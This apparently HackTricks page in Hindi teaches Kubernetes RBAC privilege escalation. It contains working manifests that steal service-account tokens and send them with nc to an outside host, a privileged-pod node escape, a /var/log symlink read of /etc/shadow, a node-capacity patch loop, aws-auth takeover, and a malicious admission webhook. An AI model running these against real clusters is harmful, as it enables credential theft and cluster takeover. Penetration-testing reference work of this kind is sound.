Abusing Roles/ClusterRoles in Kubernetes

HackTricks का समर्थन करें

यहाँ कुछ संभावित खतरनाक Roles और ClusterRoles कॉन्फ़िगरेशन मिल सकते हैं। याद रखें कि आप सभी समर्थित संसाधनों को kubectl api-resources के साथ प्राप्त कर सकते हैं।

विशेषाधिकार वृद्धि

क्लस्टर के भीतर विभिन्न विशेषाधिकारों के साथ एक अलग प्रिंसिपल तक पहुँच प्राप्त करने की कला के रूप में संदर्भित किया जाता है (कubernetes क्लस्टर के भीतर या बाहरी क्लाउड के लिए) जो आपके पास पहले से हैं, Kubernetes में विशेषाधिकार बढ़ाने के लिए मूल रूप से 4 मुख्य तकनीकें हैं:

  • अन्य उपयोगकर्ता/समूह/SA को प्रतिनिधित्व करने में सक्षम होना जिनके पास kubernetes क्लस्टर या बाहरी क्लाउड में बेहतर विशेषाधिकार हैं

  • पॉड्स बनाना/पैच करना/कार्यक्रम चलाना जहाँ आप बेहतर विशेषाधिकार वाले SA को खोज या संलग्न कर सकते हैं kubernetes क्लस्टर या बाहरी क्लाउड में

  • गुप्त पढ़ने में सक्षम होना क्योंकि SA टोकन गुप्त के रूप में संग्रहीत होते हैं

  • एक कंटेनर से नोड पर भागने में सक्षम होना, जहाँ आप नोड में चल रहे कंटेनरों के सभी गुप्त, नोड के क्रेडेंशियल और नोड के क्लाउड में चलने के दौरान अनुमतियों को चुरा सकते हैं (यदि कोई हो)

  • एक पांचवीं तकनीक जिसका उल्लेख किया जाना चाहिए वह है पॉड में पोर्ट-फॉरवर्ड चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुँच प्राप्त कर सकते हैं।

किसी भी संसाधन या क्रिया (वाइल्डकार्ड) तक पहुँच

वाइल्डकार्ड (*) किसी भी क्रिया के साथ किसी भी संसाधन पर अनुमति देता है। इसका उपयोग प्रशासकों द्वारा किया जाता है। एक ClusterRole के भीतर इसका मतलब है कि एक हमलावर क्लस्टर में किसी भीnamespace का दुरुपयोग कर सकता है

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

किसी विशेष क्रिया के साथ किसी भी संसाधन तक पहुँचें

RBAC में, कुछ अनुमतियाँ महत्वपूर्ण जोखिम प्रस्तुत करती हैं:

  1. create: किसी भी क्लस्टर संसाधन को बनाने की क्षमता प्रदान करता है, जिससे विशेषाधिकार वृद्धि का जोखिम होता है।

  2. list: सभी संसाधनों की सूची बनाने की अनुमति देता है, संभावित रूप से संवेदनशील डेटा लीक कर सकता है।

  3. get: सेवा खातों से रहस्यों तक पहुँचने की अनुमति देता है, जो सुरक्षा के लिए खतरा है।

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

एक हमलावर जिसके पास एक पोड बनाने की अनुमति है, वह पोड में एक विशेषाधिकार प्राप्त सेवा खाता संलग्न कर सकता है और सेवा खाते की पहचान चुराने के लिए टोकन चुरा सकता है। प्रभावी रूप से इसके लिए विशेषाधिकार बढ़ाना

bootstrap-signer सेवा खाते का टोकन चुराने और इसे हमलावर को भेजने वाले पोड का उदाहरण:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

निम्नलिखित सभी विशेषाधिकारों को दर्शाता है जो एक कंटेनर हो सकता है:

  • विशेषाधिकार प्राप्त करना (सुरक्षाओं को अक्षम करना और क्षमताओं को सेट करना)

  • hostIPC और hostPid नामस्थान को अक्षम करना जो विशेषाधिकार बढ़ाने में मदद कर सकता है

  • hostNetwork नामस्थान को अक्षम करना, नोड्स के क्लाउड विशेषाधिकार चुराने और नेटवर्कों तक बेहतर पहुंच देने के लिए

  • कंटेनर के अंदर होस्ट्स को माउंट करना

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

पॉड को इस प्रकार बनाएं:

kubectl --token $token create -f mount_root.yaml

One-liner from this tweet और कुछ अतिरिक्त के साथ:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

अब जब आप नोड पर भाग सकते हैं, तो पोस्ट-एक्सप्लॉइटेशन तकनीकों की जांच करें:

Stealth

आप शायद stealthier होना चाहते हैं, अगले पृष्ठों में आप देख सकते हैं कि यदि आप पिछले टेम्पलेट में उल्लेखित कुछ विशेषाधिकारों को सक्षम करके एक पॉड बनाते हैं तो आप क्या एक्सेस कर पाएंगे:

  • Privileged + hostPID

  • Privileged only

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

आप पिछले विशेषाधिकार प्राप्त पॉड कॉन्फ़िगरेशन बनाने/दुरुपयोग करने के उदाहरण https://github.com/BishopFox/badPods में पा सकते हैं।

Pod Create - Move to cloud

यदि आप create कर सकते हैं एक pod (और वैकल्पिक रूप से एक service account) तो आप cloud environment में विशेषाधिकार प्राप्त करने में सक्षम हो सकते हैं एक पॉड या सेवा खाते को cloud roles सौंपकर और फिर इसे एक्सेस करके। इसके अलावा, यदि आप host network namespace के साथ एक pod बना सकते हैं, तो आप node इंस्टेंस की IAM भूमिका चुरा सकते हैं।

अधिक जानकारी के लिए देखें:

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

इन अनुमतियों का दुरुपयोग करके एक नया पॉड बनाना और पिछले उदाहरण की तरह विशेषाधिकार स्थापित करना संभव है।

निम्नलिखित yaml एक डेमनसेट बनाता है और पॉड के अंदर SA का टोकन निकालता है:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec क्यूबेरनेट्स में एक संसाधन है जिसका उपयोग पॉड के अंदर एक शेल में कमांड चलाने के लिए किया जाता है। यह कंटेनरों के अंदर कमांड चलाने या एक शेल प्राप्त करने की अनुमति देता है।

इसलिए, यह संभव है कि एक पॉड के अंदर जाएं और SA का टोकन चुरा लें, या एक विशेषाधिकार प्राप्त पॉड में प्रवेश करें, नोड पर भागें, और नोड में सभी पॉड्स के टोकन चुरा लें और (ab)node का उपयोग करें:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

यह अनुमति एक स्थानीय पोर्ट को निर्दिष्ट पॉड में एक पोर्ट पर अग्रेषित करने की अनुमति देती है। इसका उद्देश्य पॉड के अंदर चल रहे अनुप्रयोगों को आसानी से डिबग करना है, लेकिन एक हमलावर इसका दुरुपयोग करके पॉड के अंदर दिलचस्प (जैसे DBs) या कमजोर अनुप्रयोगों (वेब?) तक पहुंच प्राप्त कर सकता है:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

जैसा कि इस शोध में संकेतित किया गया है, यदि आप एक पॉड तक पहुँच सकते हैं या एक पॉड बना सकते हैं जिसमें होस्ट का /var/log/ निर्देशिका माउंट की गई है, तो आप कंटेनर से बाहर निकल सकते हैं। यह मूल रूप से इस कारण है कि जब Kube-API एक कंटेनर के लॉग प्राप्त करने की कोशिश करता है (using kubectl logs <pod>), तो यह पॉड के 0.log फ़ाइल को Kubelet सेवा के /logs/ एंडपॉइंट का उपयोग करके अनुरोध करता है। Kubelet सेवा /logs/ एंडपॉइंट को उजागर करती है जो मूल रूप से कंटेनर के /var/log फ़ाइल सिस्टम को उजागर कर रही है

इसलिए, एक हमलावर जिसके पास कंटेनर के /var/log/ फ़ोल्डर में लिखने की पहुँच है वह इस व्यवहार का दुरुपयोग 2 तरीकों से कर सकता है:

  • अपने कंटेनर के 0.log फ़ाइल को संशोधित करना (जो आमतौर पर /var/logs/pods/namespace_pod_uid/container/0.log में स्थित होता है) ताकि यह एक सिंकम लिंक हो जो /etc/shadow की ओर इशारा करता हो। फिर, आप निम्नलिखित करके होस्ट का शैडो फ़ाइल निकालने में सक्षम होंगे:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • यदि हमलावर के पास nodes/log पढ़ने की अनुमति वाले किसी भी प्रिंसिपल पर नियंत्रण है, तो वह बस /host-mounted/var/log/sym में / के लिए एक symlink बना सकता है और जब https://<gateway>:10250/logs/sym/ तक पहुँचता है, तो वह होस्ट की रूट फ़ाइल प्रणाली को सूचीबद्ध करेगा (symlink को बदलने से फ़ाइलों तक पहुँच मिल सकती है)।

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

एक प्रयोगशाला और स्वचालित शोषण पाया जा सकता है https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

readOnly सुरक्षा को बायपास करना

यदि आप भाग्यशाली हैं और उच्च विशेषाधिकार प्राप्त क्षमता CAP_SYS_ADMIN उपलब्ध है, तो आप बस फ़ोल्डर को rw के रूप में फिर से माउंट कर सकते हैं:

mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

जैसा कि इस शोध में कहा गया है, सुरक्षा को बायपास करना संभव है:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

जो पिछले वाले जैसे भागने को रोकने के लिए था, एक hostPath माउंट का उपयोग करने के बजाय, एक PersistentVolume और एक PersistentVolumeClaim का उपयोग करके कंटेनर में लिखने योग्य पहुंच के साथ एक होस्ट फ़ोल्डर को माउंट करें:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

विशिष्ट खातों का अनुकरण करना

एक उपयोगकर्ता अनुकरण विशेषाधिकार के साथ, एक हमलावर एक विशिष्ट खाता अनुकरण कर सकता है।

बस kubectl कमांड में --as=<username> पैरामीटर का उपयोग करें एक उपयोगकर्ता का अनुकरण करने के लिए, या --as-group=<group> का उपयोग करें एक समूह का अनुकरण करने के लिए:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

या REST API का उपयोग करें:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Secrets की सूची बनाना

Secrets की सूची बनाने की अनुमति एक हमलावर को वास्तव में secrets पढ़ने की अनुमति दे सकती है REST API endpoint तक पहुँचते समय:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

एक गुप्त पढ़ना - टोकन आईडी का ब्रूट-फोर्सिंग

जब एक हमलावर के पास पढ़ने की अनुमति वाला टोकन होता है, तो उसे इसका उपयोग करने के लिए गुप्त का सही नाम चाहिए, जबकि व्यापक गुप्त सूचीबद्ध करने की अनुमति के विपरीत, अभी भी कमजोरियाँ हैं। सिस्टम में डिफ़ॉल्ट सेवा खातों को सूचीबद्ध किया जा सकता है, प्रत्येक एक गुप्त से संबंधित होता है। इन गुप्तों का नाम संरचना होती है: एक स्थिर उपसर्ग के बाद एक यादृच्छिक पांच-चरित्र अल्फ़ान्यूमेरिक टोकन (कुछ वर्णों को छोड़कर) स्रोत कोड के अनुसार।

टोकन एक सीमित 27-चरित्र सेट (bcdfghjklmnpqrstvwxz2456789) से उत्पन्न होता है, न कि पूर्ण अल्फ़ान्यूमेरिक रेंज से। यह सीमा कुल संभावित संयोजनों को 14,348,907 (27^5) तक कम कर देती है। परिणामस्वरूप, एक हमलावर संभवतः कुछ घंटों में टोकन का अनुमान लगाने के लिए एक ब्रूट-फोर्स हमले को निष्पादित कर सकता है, जो संवेदनशील सेवा खातों तक पहुँचने के द्वारा विशेषाधिकार वृद्धि की संभावना पैदा कर सकता है।

प्रमाणपत्र हस्ताक्षर अनुरोध

यदि आपके पास संसाधन certificatesigningrequests में create क्रियाएँ हैं (या कम से कम certificatesigningrequests/nodeClient में)। आप एक नए नोड का नया CeSR बनाने के लिए सक्षम हैं।

दस्तावेज़ के अनुसार, इन अनुरोधों को स्वचालित रूप से स्वीकृत करना संभव है, इसलिए इस मामले में आपको अतिरिक्त अनुमतियों की आवश्यकता नहीं है। यदि नहीं, तो आपको अनुरोध को स्वीकृत करने में सक्षम होना चाहिए, जिसका अर्थ है certificatesigningrequests/approval में अपडेट करना और signers में approve करना, जिसमें resourceName <signerNameDomain>/<signerNamePath> या <signerNameDomain>/* हो।

एक भूमिका का उदाहरण जिसमें सभी आवश्यक अनुमतियाँ हैं:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

तो, नए नोड CSR के अनुमोदित होने के साथ, आप नोड्स की विशेष अनुमतियों का दुरुपयोग करके गुप्त जानकारियाँ चुरा सकते हैं और अधिकार बढ़ा सकते हैं

इस पोस्ट और इस एक में GKE K8s TLS Bootstrap कॉन्फ़िगरेशन को स्वचालित हस्ताक्षर के साथ कॉन्फ़िगर किया गया है और इसका दुरुपयोग करके एक नए K8s नोड के क्रेडेंशियल्स उत्पन्न किए जाते हैं और फिर उन पर अधिकार बढ़ाने के लिए गुप्त जानकारियाँ चुराई जाती हैं। यदि आपके पास उल्लेखित अधिकार हैं तो आप वही कर सकते हैं। ध्यान दें कि पहला उदाहरण उस त्रुटि को बायपास करता है जो नए नोड को कंटेनरों के अंदर गुप्त जानकारियों तक पहुँचने से रोकता है क्योंकि नोड केवल उन कंटेनरों के गुप्त जानकारियों तक पहुँच सकता है जो उस पर माउंट किए गए हैं।

इससे बायपास करने का तरीका बस यह है कि उस नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं जहाँ दिलचस्प गुप्त जानकारियाँ माउंट की गई हैं (लेकिन पहले पोस्ट में इसे करने का तरीका देखें):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

EKS (AWS में होना आवश्यक) क्लस्टरों पर kube-system namespace में configmaps को संशोधित करने वाले प्रिंसिपल aws-auth configmap को ओवरराइट करके क्लस्टर एडमिन विशेषाधिकार प्राप्त कर सकते हैं। आवश्यक क्रियाएँ update और patch हैं, या यदि configmap नहीं बनाया गया है तो create:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

आप aws-auth का उपयोग स्थायीता के लिए कर सकते हैं जो अन्य खातों के उपयोगकर्ताओं को पहुंच प्रदान करता है।

हालांकि, aws --profile other_account eks update-kubeconfig --name <cluster-name> एक अलग खाते से काम नहीं करता। लेकिन वास्तव में aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing काम करता है यदि आप केवल नाम के बजाय क्लस्टर का ARN डालते हैं। kubectl को काम करने के लिए, बस सुनिश्चित करें कि शिकारियों का kubeconfig कॉन्फ़िगर किया गया है और aws exec args में --profile other_account_role जोड़ें ताकि kubectl अन्य खाते के प्रोफ़ाइल का उपयोग करके टोकन प्राप्त कर सके और AWS से संपर्क कर सके।

GKE में वृद्धि करना

GCP प्रिंसिपलों को K8s अनुमतियाँ असाइन करने के 2 तरीके हैं। किसी भी मामले में प्रिंसिपल को क्लस्टर तक पहुँचने के लिए क्रेडेंशियल्स एकत्र करने के लिए container.clusters.get अनुमति की आवश्यकता होती है, या आपको अपना खुद का kubectl कॉन्फ़िग फ़ाइल जनरेट करने की आवश्यकता होगी (अगले लिंक का पालन करें)।

K8s एपीआई एंडपॉइंट से बात करते समय, GCP ऑथ टोकन भेजा जाएगा। फिर, GCP, K8s एपीआई एंडपॉइंट के माध्यम से, पहले जांच करेगा कि प्रिंसिपल (ईमेल द्वारा) क्लस्टर के अंदर कोई पहुंच है, फिर यह जांचेगा कि क्या इसकी GCP IAM के माध्यम से कोई पहुंच है। यदि कोई भी इनमें से सत्य है, तो उसे उत्तर दिया जाएगा। यदि नहीं तो GCP IAM के माध्यम से अनुमतियाँ देने का सुझाव देने वाला एक त्रुटि दिया जाएगा।

फिर, पहला तरीका GCP IAM का उपयोग करना है, K8s अनुमतियों के उनके समकक्ष GCP IAM अनुमतियाँ हैं, और यदि प्रिंसिपल के पास यह है, तो वह इसका उपयोग कर सकेगा।

दूसरा तरीका क्लस्टर के अंदर K8s अनुमतियाँ असाइन करना है, उपयोगकर्ता की पहचान उसके ईमेल द्वारा करना (GCP सेवा खातों सहित)।

सेवा खाता टोकन बनाना

प्रिंसिपल जो TokenRequests (serviceaccounts/token) बना सकते हैं K8s एपीआई एंडपॉइंट से बात करते समय SAs (जानकारी यहां से)।

ephemeralcontainers

प्रिंसिपल जो update या patch pods/ephemeralcontainers कर सकते हैं, वे अन्य पॉड्स पर कोड निष्पादित कर सकते हैं, और संभावित रूप से अपने नोड से बाहर निकल सकते हैं एक विशेषाधिकार प्राप्त securityContext के साथ एक अस्थायी कंटेनर जोड़कर।

ValidatingWebhookConfigurations या MutatingWebhookConfigurations

प्रिंसिपल जिनके पास validatingwebhookconfigurations या mutatingwebhookconfigurations पर create, update या patch में से कोई भी क्रिया है, वे ऐसे webhookconfigurations में से एक बनाने में सक्षम हो सकते हैं ताकि वे अधिकार बढ़ा सकें

mutatingwebhookconfigurations उदाहरण के लिए इस पोस्ट के इस अनुभाग की जांच करें

वृद्धि करना

जैसा कि आप अगले अनुभाग में पढ़ सकते हैं: निर्मित विशेषाधिकार वृद्धि रोकथाम, एक प्रिंसिपल नए अनुमतियों के बिना न तो भूमिकाएँ या क्लस्टर भूमिकाएँ अपडेट या बना सकता है। सिवाय इसके कि उसके पास roles या clusterroles पर क्रिया escalate हो। तब वह नए रोल, क्लस्टर रोल को बेहतर अनुमतियों के साथ अपडेट/बना सकता है जो उसके पास हैं।

नोड्स प्रॉक्सी

प्रिंसिपल जिनके पास nodes/proxy उपसंसाधन तक पहुंच है, वे Kubelet API के माध्यम से पॉड्स पर कोड निष्पादित कर सकते हैं (अनुसार यहां)। Kubelet प्रमाणीकरण के बारे में अधिक जानकारी इस पृष्ठ पर:

आपके पास Kubelet API से अधिकृत बात करके RCE प्राप्त करने का एक उदाहरण यहां है

पॉड्स हटाना + अस्थायी नोड्स

प्रिंसिपल जो पॉड्स को हटा सकते हैं (pods संसाधन पर delete क्रिया), या पॉड्स को निष्कासित कर सकते हैं (pods/eviction संसाधन पर create क्रिया), या पॉड स्थिति बदल सकते हैं (pods/status तक पहुंच) और अन्य नोड्स को अस्थायी बना सकते हैं (nodes/status तक पहुंच) या नोड्स को हटा सकते हैं (nodes संसाधन पर delete क्रिया) और एक पॉड पर नियंत्रण रखते हैं, वे अन्य नोड्स से पॉड्स चुरा सकते हैं ताकि वे समझौता किए गए नोड में निष्पादित हों और हमलावर उन पॉड्स से टोकन चुरा सके

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

सेवाओं की स्थिति (CVE-2020-8554)

प्रिंसिपल जो services/status को संशोधित कर सकते हैं, वे status.loadBalancer.ingress.ip फ़ील्ड को सेट कर सकते हैं ताकि अनफिक्स्ड CVE-2020-8554 का लाभ उठाया जा सके और क्लस्टर के खिलाफ MiTM हमले शुरू किए जा सकें। CVE-2020-8554 के लिए अधिकांश निवारण केवल ExternalIP सेवाओं को रोकते हैं (अनुसार यह)।

नोड्स और पॉड्स की स्थिति

प्रिंसिपल जिनके पास nodes/status या pods/status पर update या patch अनुमतियाँ हैं, वे लेबल को संशोधित कर सकते हैं ताकि लागू किए गए शेड्यूलिंग प्रतिबंधों को प्रभावित किया जा सके।

अंतर्निहित विशेषाधिकार वृद्धि रोकथाम

Kubernetes में विशेषाधिकार वृद्धि को रोकने के लिए एक अंतर्निहित तंत्र है।

यह प्रणाली सुनिश्चित करती है कि उपयोगकर्ता भूमिकाओं या भूमिका बाइंडिंग को संशोधित करके अपने विशेषाधिकारों को बढ़ा नहीं सकते। इस नियम का प्रवर्तन API स्तर पर होता है, जो RBAC प्राधिकर्ता के निष्क्रिय होने पर भी एक सुरक्षा प्रदान करता है।

यह नियम stipulates करता है कि एक उपयोगकर्ता केवल तभी एक भूमिका बना या अपडेट कर सकता है जब उसके पास भूमिका में शामिल सभी अनुमतियाँ हों। इसके अलावा, उपयोगकर्ता की मौजूदा अनुमतियों का दायरा उस भूमिका के दायरे के साथ मेल खाना चाहिए जिसे वे बनाने या संशोधित करने का प्रयास कर रहे हैं: या तो ClusterRoles के लिए क्लस्टर-व्यापी या Roles के लिए उसी namespace (या क्लस्टर-व्यापी) में।

पिछले नियम का एक अपवाद है। यदि किसी प्रिंसिपल के पास roles या clusterroles पर क्रिया escalate है, तो वह स्वयं अनुमतियाँ न होने पर भी भूमिकाओं और क्लस्टर भूमिकाओं के विशेषाधिकार बढ़ा सकता है।

RoleBindings/ClusterRoleBindings प्राप्त करें और पैच करें

स्पष्ट रूप से यह तकनीक पहले काम करती थी, लेकिन मेरे परीक्षणों के अनुसार यह अब काम नहीं कर रही है, जैसा कि पिछले अनुभाग में समझाया गया है। यदि आपके पास पहले से अनुमतियाँ नहीं हैं तो आप अपने लिए या किसी अन्य SA को कुछ विशेषाधिकार देने के लिए एक भूमिका बाइंडिंग नहीं बना/संशोधित कर सकते।

भूमिका बाइंडिंग बनाने का विशेषाधिकार एक उपयोगकर्ता को भूमिकाओं को एक सेवा खाते से बाइंड करने की अनुमति देता है। यह विशेषाधिकार संभावित रूप से विशेषाधिकार वृद्धि की ओर ले जा सकता है क्योंकि यह उपयोगकर्ता को एक समझौता किए गए सेवा खाते को प्रशासनिक विशेषाधिकार बाइंड करने की अनुमति देता है।

अन्य हमले

साइडकार प्रॉक्सी ऐप

डिफ़ॉल्ट रूप से पॉड्स के बीच संचार में कोई एन्क्रिप्शन नहीं है। आपसी प्रमाणीकरण, दो-तरफा, पॉड से पॉड।

एक साइडकार प्रॉक्सी ऐप बनाएं

अपना .yaml बनाएं

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

अपनी .yaml फ़ाइल संपादित करें और अनकमेंट की गई पंक्तियाँ जोड़ें:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

प्रॉक्सी के लॉग देखें:

kubectl logs app -C proxy

More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Malicious Admission Controller

An admission controller Kubernetes API सर्वर के लिए अनुरोधों को अवरोधित करता है पहले वस्तु की स्थायीता से, लेकिन अनुरोध को प्रमाणित और अधिकृत करने के बाद।

यदि एक हमलावर किसी तरह Mutationg Admission Controller को इंजेक्ट करने में सफल हो जाता है, तो वह पहले से प्रमाणित अनुरोधों को संशोधित कर सकेगा। संभावित रूप से प्रिवेस्क प्राप्त करने में सक्षम होना, और अधिकतर क्लस्टर में स्थायी रहना।

Example from https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

स्थिति की जांच करें कि क्या यह तैयार है:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

फिर एक नया पॉड तैनात करें:

kubectl run nginx --image nginx
kubectl get po -w

जब आप ErrImagePull त्रुटि देख सकते हैं, तो छवि नाम की जांच करें किसी एक प्रश्न के साथ:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने nginx इमेज चलाने की कोशिश की लेकिन अंतिम निष्पादित इमेज rewanthtammana/malicious-image है। क्या हुआ!!?

Technicalities

./deploy.sh स्क्रिप्ट एक म्यूटेटिंग वेबहुक एडमिशन कंट्रोलर स्थापित करती है, जो इसके कॉन्फ़िगरेशन लाइनों में निर्दिष्ट अनुरोधों को Kubernetes API में संशोधित करती है, जो देखे गए परिणामों को प्रभावित करती है:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Best Practices

Service Account Tokens के Automount को बंद करना

  • Pods और Service Accounts: डिफ़ॉल्ट रूप से, pods एक service account token को माउंट करते हैं। सुरक्षा बढ़ाने के लिए, Kubernetes इस automount सुविधा को बंद करने की अनुमति देता है।

  • कैसे लागू करें: service accounts या pods की कॉन्फ़िगरेशन में automountServiceAccountToken: false सेट करें, Kubernetes संस्करण 1.6 से शुरू।

RoleBindings/ClusterRoleBindings में प्रतिबंधात्मक उपयोगकर्ता असाइनमेंट

